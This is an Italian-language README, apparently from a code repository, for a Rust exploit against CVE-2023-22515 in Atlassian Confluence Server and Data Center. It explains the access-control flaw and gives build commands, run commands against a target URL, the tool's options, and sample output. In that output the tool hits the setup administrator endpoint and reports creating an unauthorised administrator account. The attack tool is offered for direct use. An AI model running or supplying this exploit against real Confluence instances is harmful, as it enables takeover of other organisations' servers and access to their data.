killvxk/cve-2023-22515-joaoviictortiExploit basato su Rust per CVE-2023-22515 che crea account amministratore non autorizzati in Confluence Server e Data Center tramite controllo degli accessi compromesso.
Confluence è un wiki aziendale basato sul web sviluppato dalla società australiana di software Atlassian. Atlassian è stata informata di un problema segnalato da alcuni clienti in cui attaccanti esterni potrebbero aver sfruttato una vulnerabilità precedentemente sconosciuta nei server Confluence e nelle istanze data center accessibili pubblicamente per creare account amministratore Confluence non autorizzati e accedere alle istanze Confluence.
La vulnerabilità è stata classificata come CVE-2023-22515
Per prima cosa esegui la compilazione con il comando:
cargo build --release
Puoi farlo in questi due modi:
cargo run -- --target http://localhost --username "teste" --password "teste"
.\target\release\cve_2023_22515 --target http://localhost --username "teste" --password "teste"
Questo mostrerà l'aiuto per lo strumento. Ecco tutti gli switch che supporta:
CVE-2023-22515
Usage: CVE_2023_22515 --target <TARGET> --username <USERNAME> --password <PASSWORD>
Options:
-t, --target <TARGET> Insert target
-u, --username <USERNAME> Insert username
-p, --password <PASSWORD> Insert password
-h, --help Print help
cargo run -- --target http://example.com --username "teste" --password "teste"
[!] Request for: http://example.com/setup/setupadministrator.action
[!] Creating Administrator account
[!] Checking the answer
[+] Username created successfully: teste
[+] Password created successfully: teste
[+] Exploit ending successfully!!